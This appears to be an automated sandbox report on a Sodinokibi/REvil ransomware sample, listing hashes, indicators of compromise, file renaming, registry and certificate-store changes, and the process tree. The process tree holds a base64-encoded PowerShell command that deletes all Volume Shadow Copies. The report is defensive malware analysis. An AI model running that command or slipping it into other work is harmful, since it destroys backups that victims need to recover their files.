Analysis
-
max time kernel
149s -
max time network
154s -
platform
windows10_x64 -
resource
win10 -
submitted
20-08-2020 13:04
Static task
static1
Behavioral task
behavioral1
Sample
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe
Resource
win7
Behavioral task
behavioral2
Sample
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe
Resource
win10
General
-
Target
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe
-
Size
116KB
-
MD5
d88e2100c2ac44892f475fe54deb89b9
-
SHA1
c9fa8beacf4dbd9af7c520fd7f3ecc493acafbf8
-
SHA256
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9
-
SHA512
b92c85f5a99da1b51878778d98d75a3895e048c80af678086252daceea2b72922b1177122a57a58891f9defd38e64887af1ad849074ebb4dab28aec0b305b592
Malware Config
Extracted
C:\zo7r8-read-me.txt
sodinokibi
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exedescription ioc process File renamed C:\Users\Admin\Pictures\OutExport.tif => \??\c:\users\admin\pictures\OutExport.tif.zo7r8 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File renamed C:\Users\Admin\Pictures\SwitchProtect.tif => \??\c:\users\admin\pictures\SwitchProtect.tif.zo7r8 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File renamed C:\Users\Admin\Pictures\UnprotectCompress.tif => \??\c:\users\admin\pictures\UnprotectCompress.tif.zo7r8 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\users\admin\pictures\EnterUnblock.tiff e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File renamed C:\Users\Admin\Pictures\EnterUnblock.tiff => \??\c:\users\admin\pictures\EnterUnblock.tiff.zo7r8 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe -
Enumerates connected drives 3 TTPs
-
Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xw8a941636.bmp" e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe -
Drops file in Program Files directory 22 IoCs
Processes:
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exedescription ioc process File opened for modification \??\c:\program files\MoveCopy.xlsm e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\PushExpand.dot e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\RegisterUninstall.js e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\RepairConnect.aifc e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\SwitchRequest.aiff e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\ConvertToUndo.jtx e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\FormatSearch.dwg e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\RemoveUndo.wmx e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\UnlockPop.dotx e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\CompareRegister.vsdm e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\ConfirmStep.odt e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\FormatHide.doc e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\InitializeSync.xsl e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\RegisterProtect.wma e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\SaveExit.vdx e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\CompressResume.M2TS e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File created \??\c:\program files (x86)\zo7r8-read-me.txt e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\CheckpointAdd.ogg e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\DisconnectFormat.wax e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\ProtectStep.mov e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File opened for modification \??\c:\program files\SwitchNew.htm e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe File created \??\c:\program files\zo7r8-read-me.txt e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe -
Processes:
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E\Blob = 19000000010000001000000060e2dc65295f1062e558f3fef235ed3c0f000000010000002000000071b437f087f3700ffd4e2fa46f42b6b810d7bf19adfedf951c023edd65b50b050b000000010000005400000053007400610072006600690065006c006400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f007200690074007900200013202000470032000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000002500000030233021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c06200000001000000200000002ce1cb0bf9d2f9e102993fbe215152c3b2dd0cabde1c68e5319b839154dbb7f51400000001000000140000007c0c321fa7d9307fc47d68a362a8a1ceab075b271d000000010000001000000054e2cd85ba79cda018fed9e6a863aa46030000000100000014000000b51c067cee2b0c3df855ab2d92f4fe39d4e70f0e040000000100000010000000d63981c6527e9669fcfcca66ed05f2962000000001000000e1030000308203dd308202c5a003020102020100300d06092a864886f70d01010b050030818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a30818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bdedc103fcf68ffc02b16f5b9f48d99d79e2a2b703615618c347b6d7ca3d352e8943f7a1699bde8a1afd13209cb44977322956fdb9ec8cdd22fa72dc276197eef65a84ec6e19b9892cdc845bd574fb6b5fc589a51052894655f4b8751ce67fe454ae4bf85572570219f8177159eb1e280774c59d48be6cb4f4a4b0f364377992c0ec465e7fe16d534c62afcd1f0b63bb3a9dfbfc7900986174cf26824063f3b2726a190d99cad40e75cc37fb8b89c159f1627f5fb35f6530f8a7b74d765a1e765e34c0e89656998ab3f07fa4cdbddc32317c91cfe05f11f86baa495cd19994d1a2e3635b0976b55662e14b741d96d426d4080459d0980e0ee6defcc3ec1f90f10203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147c0c321fa7d9307fc47d68a362a8a1ceab075b27300d06092a864886f70d01010b050003820101001159fa254f036f94993b9a1f828539d47605945ee128936d625d09c2a0a8d4b07538f1346a9de49f8a862651e62cd1c62d6e95204a9201ecb88a677b31e2672e8c9503262e439d4a31f60eb50cbbb7e2377f22ba00a30e7b52fb6bbb3bc4d379514ecd90f4670719c83c467a0d017dc558e76de68530179a24c410e004f7e0f27fd4aa0aff421d37ed94e5645912207738d3323e3881759673fa688fb1cbce1fc5ecfa9c7ecf7eb1f1072db6fcbfcaa4bfd097054abcea18280290bd5478092171d3d17d1dd916b0a9613dd00a0022fcc77bcb0964450b3b4081f77d7c32f598ca588e7d2aee90597364f936745e25a1f566052e7f3915a92afb508b8e8569f4 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E\Blob = 5c000000010000000400000000080000040000000100000010000000d63981c6527e9669fcfcca66ed05f296030000000100000014000000b51c067cee2b0c3df855ab2d92f4fe39d4e70f0e1d000000010000001000000054e2cd85ba79cda018fed9e6a863aa461400000001000000140000007c0c321fa7d9307fc47d68a362a8a1ceab075b276200000001000000200000002ce1cb0bf9d2f9e102993fbe215152c3b2dd0cabde1c68e5319b839154dbb7f553000000010000002500000030233021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b000000010000005400000053007400610072006600690065006c006400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079002000132020004700320000000f000000010000002000000071b437f087f3700ffd4e2fa46f42b6b810d7bf19adfedf951c023edd65b50b0519000000010000001000000060e2dc65295f1062e558f3fef235ed3c2000000001000000e1030000308203dd308202c5a003020102020100300d06092a864886f70d01010b050030818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a30818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bdedc103fcf68ffc02b16f5b9f48d99d79e2a2b703615618c347b6d7ca3d352e8943f7a1699bde8a1afd13209cb44977322956fdb9ec8cdd22fa72dc276197eef65a84ec6e19b9892cdc845bd574fb6b5fc589a51052894655f4b8751ce67fe454ae4bf85572570219f8177159eb1e280774c59d48be6cb4f4a4b0f364377992c0ec465e7fe16d534c62afcd1f0b63bb3a9dfbfc7900986174cf26824063f3b2726a190d99cad40e75cc37fb8b89c159f1627f5fb35f6530f8a7b74d765a1e765e34c0e89656998ab3f07fa4cdbddc32317c91cfe05f11f86baa495cd19994d1a2e3635b0976b55662e14b741d96d426d4080459d0980e0ee6defcc3ec1f90f10203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147c0c321fa7d9307fc47d68a362a8a1ceab075b27300d06092a864886f70d01010b050003820101001159fa254f036f94993b9a1f828539d47605945ee128936d625d09c2a0a8d4b07538f1346a9de49f8a862651e62cd1c62d6e95204a9201ecb88a677b31e2672e8c9503262e439d4a31f60eb50cbbb7e2377f22ba00a30e7b52fb6bbb3bc4d379514ecd90f4670719c83c467a0d017dc558e76de68530179a24c410e004f7e0f27fd4aa0aff421d37ed94e5645912207738d3323e3881759673fa688fb1cbce1fc5ecfa9c7ecf7eb1f1072db6fcbfcaa4bfd097054abcea18280290bd5478092171d3d17d1dd916b0a9613dd00a0022fcc77bcb0964450b3b4081f77d7c32f598ca588e7d2aee90597364f936745e25a1f566052e7f3915a92afb508b8e8569f4 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\SystemCertificates\CA\Certificates\A416002331A4E0C8C53D94AC1E0234723D8BDE97 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe Set value (data) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\SystemCertificates\CA\Certificates\A416002331A4E0C8C53D94AC1E0234723D8BDE97\Blob = 030000000100000014000000a416002331a4e0c8c53d94ac1e0234723d8bde971400000001000000140000008180d62879354a5b793589398f12176e117b2c1104000000010000001000000058bec6c6284db2ea1a8aca560691ff0f0f0000000100000020000000eed0b2ecc538897b88bde1b187557738b9d695936927b6d8c88ce131e34f675e190000000100000010000000603338adfa4a38f9199fb173f33983115c000000010000000400000000080000180000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f20000000010000007b040000308204773082035fa003020102020d01ee5f222de71b43a5d4669f9e300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3138313132313030303030305a170d3238313132313030303030305a3050310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d7361312630240603550403131d476c6f62616c5369676e205253412044562053534c204341203230313830820122300d06092a864886f70d01010105000382010f003082010a0282010100a8fb55f5fff090abffe7ef41bd683052e7fd32edc9f515f7c0b9af31709852521698d1e12d698067c56c5b7a2cf973b9ab9a85bd84336bd983af80f99dfa5290338fc0940a0a43aa3ada27a375cbd02d6a3a20dd779ffc476054356e33f4b3ba85a9f3467e6c5616e8a61e5300c6b4f28629f35b7a4030d8a8b72962ab7821c518c4dc61f9cc18963637ea4b9bcf6ecac467ab0345d75834bdbae36838fc5dc4a19082d51d3868c5d5a0a9732c9c8ab7dd70e049d70bf034c9ec3e3f754b821048691aff8bce9b1cc294ecb7dd4bd5b4e4590e188215f11bf3d8c77adac9963b57935538beb0ff20dbaf952c08bdaae3543945a31cf1f782d2cb4d61c20686250203010001a38201523082014e300e0603551d0f0101ff04040302018630270603551d250420301e06082b0601050507030106082b0601050507030206082b0601050507030930120603551d130101ff040830060101ff020100301d0603551d0e041604148180d62879354a5b793589398f12176e117b2c11301f0603551d230418301680148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc303e06082b0601050507010104323030302e06082b060105050730018622687474703a2f2f6f637370322e676c6f62616c7369676e2e636f6d2f726f6f74723330360603551d1f042f302d302ba029a0278625687474703a2f2f63726c2e676c6f62616c7369676e2e636f6d2f726f6f742d72332e63726c30470603551d200440303e303c0604551d20003034303206082b06010505070201162668747470733a2f2f7777772e676c6f62616c7369676e2e636f6d2f7265706f7369746f72792f300d06092a864886f70d01010b050003820101004205854cdd9608e64fe853a78b382d86d4373c3ae4f10e2e794058a7d1fdd467f4847b9c9d8ef6707b6c846d6224aa8eb0bb90f9ec1516d5d511a2b519e275e42b7d444bd8b24c57c0f8112dfffee3f9ac96a909866e2308659da6e4837f43a7d2b992abe37bfdd68ec9a4d7a9c92177aafe631f64aecd1e239b60737a7e29ca57866af0b65e472a85c290502d60f22eb55b8b3919448930f89a357891279095a40bfd9403180f6e5eab038f827fa2447bfebb81c9e12e87c68a5a0052985ee815ab0a5cf29d4db212f43f4504f29b62fbb5aaebc8fc042c1a9419b2f8d125b16ed60536d2584b6180b63c62bca302b6dd36633968253a7ba28ba3141b092233 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E\Blob = 0f000000010000002000000071b437f087f3700ffd4e2fa46f42b6b810d7bf19adfedf951c023edd65b50b050b000000010000005400000053007400610072006600690065006c006400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f007200690074007900200013202000470032000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000002500000030233021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c06200000001000000200000002ce1cb0bf9d2f9e102993fbe215152c3b2dd0cabde1c68e5319b839154dbb7f51400000001000000140000007c0c321fa7d9307fc47d68a362a8a1ceab075b271d000000010000001000000054e2cd85ba79cda018fed9e6a863aa46030000000100000014000000b51c067cee2b0c3df855ab2d92f4fe39d4e70f0e2000000001000000e1030000308203dd308202c5a003020102020100300d06092a864886f70d01010b050030818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a30818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bdedc103fcf68ffc02b16f5b9f48d99d79e2a2b703615618c347b6d7ca3d352e8943f7a1699bde8a1afd13209cb44977322956fdb9ec8cdd22fa72dc276197eef65a84ec6e19b9892cdc845bd574fb6b5fc589a51052894655f4b8751ce67fe454ae4bf85572570219f8177159eb1e280774c59d48be6cb4f4a4b0f364377992c0ec465e7fe16d534c62afcd1f0b63bb3a9dfbfc7900986174cf26824063f3b2726a190d99cad40e75cc37fb8b89c159f1627f5fb35f6530f8a7b74d765a1e765e34c0e89656998ab3f07fa4cdbddc32317c91cfe05f11f86baa495cd19994d1a2e3635b0976b55662e14b741d96d426d4080459d0980e0ee6defcc3ec1f90f10203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147c0c321fa7d9307fc47d68a362a8a1ceab075b27300d06092a864886f70d01010b050003820101001159fa254f036f94993b9a1f828539d47605945ee128936d625d09c2a0a8d4b07538f1346a9de49f8a862651e62cd1c62d6e95204a9201ecb88a677b31e2672e8c9503262e439d4a31f60eb50cbbb7e2377f22ba00a30e7b52fb6bbb3bc4d379514ecd90f4670719c83c467a0d017dc558e76de68530179a24c410e004f7e0f27fd4aa0aff421d37ed94e5645912207738d3323e3881759673fa688fb1cbce1fc5ecfa9c7ecf7eb1f1072db6fcbfcaa4bfd097054abcea18280290bd5478092171d3d17d1dd916b0a9613dd00a0022fcc77bcb0964450b3b4081f77d7c32f598ca588e7d2aee90597364f936745e25a1f566052e7f3915a92afb508b8e8569f4 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E\Blob = 040000000100000010000000d63981c6527e9669fcfcca66ed05f296030000000100000014000000b51c067cee2b0c3df855ab2d92f4fe39d4e70f0e1d000000010000001000000054e2cd85ba79cda018fed9e6a863aa461400000001000000140000007c0c321fa7d9307fc47d68a362a8a1ceab075b276200000001000000200000002ce1cb0bf9d2f9e102993fbe215152c3b2dd0cabde1c68e5319b839154dbb7f553000000010000002500000030233021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b000000010000005400000053007400610072006600690065006c006400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079002000132020004700320000000f000000010000002000000071b437f087f3700ffd4e2fa46f42b6b810d7bf19adfedf951c023edd65b50b052000000001000000e1030000308203dd308202c5a003020102020100300d06092a864886f70d01010b050030818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a30818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bdedc103fcf68ffc02b16f5b9f48d99d79e2a2b703615618c347b6d7ca3d352e8943f7a1699bde8a1afd13209cb44977322956fdb9ec8cdd22fa72dc276197eef65a84ec6e19b9892cdc845bd574fb6b5fc589a51052894655f4b8751ce67fe454ae4bf85572570219f8177159eb1e280774c59d48be6cb4f4a4b0f364377992c0ec465e7fe16d534c62afcd1f0b63bb3a9dfbfc7900986174cf26824063f3b2726a190d99cad40e75cc37fb8b89c159f1627f5fb35f6530f8a7b74d765a1e765e34c0e89656998ab3f07fa4cdbddc32317c91cfe05f11f86baa495cd19994d1a2e3635b0976b55662e14b741d96d426d4080459d0980e0ee6defcc3ec1f90f10203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147c0c321fa7d9307fc47d68a362a8a1ceab075b27300d06092a864886f70d01010b050003820101001159fa254f036f94993b9a1f828539d47605945ee128936d625d09c2a0a8d4b07538f1346a9de49f8a862651e62cd1c62d6e95204a9201ecb88a677b31e2672e8c9503262e439d4a31f60eb50cbbb7e2377f22ba00a30e7b52fb6bbb3bc4d379514ecd90f4670719c83c467a0d017dc558e76de68530179a24c410e004f7e0f27fd4aa0aff421d37ed94e5645912207738d3323e3881759673fa688fb1cbce1fc5ecfa9c7ecf7eb1f1072db6fcbfcaa4bfd097054abcea18280290bd5478092171d3d17d1dd916b0a9613dd00a0022fcc77bcb0964450b3b4081f77d7c32f598ca588e7d2aee90597364f936745e25a1f566052e7f3915a92afb508b8e8569f4 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exepowershell.exepid process 3844 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe 3844 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe 3612 powershell.exe 3612 powershell.exe 3612 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3844 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe Token: SeDebugPrivilege 3612 powershell.exe Token: SeBackupPrivilege 396 vssvc.exe Token: SeRestorePrivilege 396 vssvc.exe Token: SeAuditPrivilege 396 vssvc.exe Token: SeTakeOwnershipPrivilege 3844 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exedescription pid process target process PID 3844 wrote to memory of 3612 3844 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe powershell.exe PID 3844 wrote to memory of 3612 3844 e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe"C:\Users\Admin\AppData\Local\Temp\e0b8bc41f54e982571d878303f3714a2b71985e37abe8f2c84c04139927b31a9.bin.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3612
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3792
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:396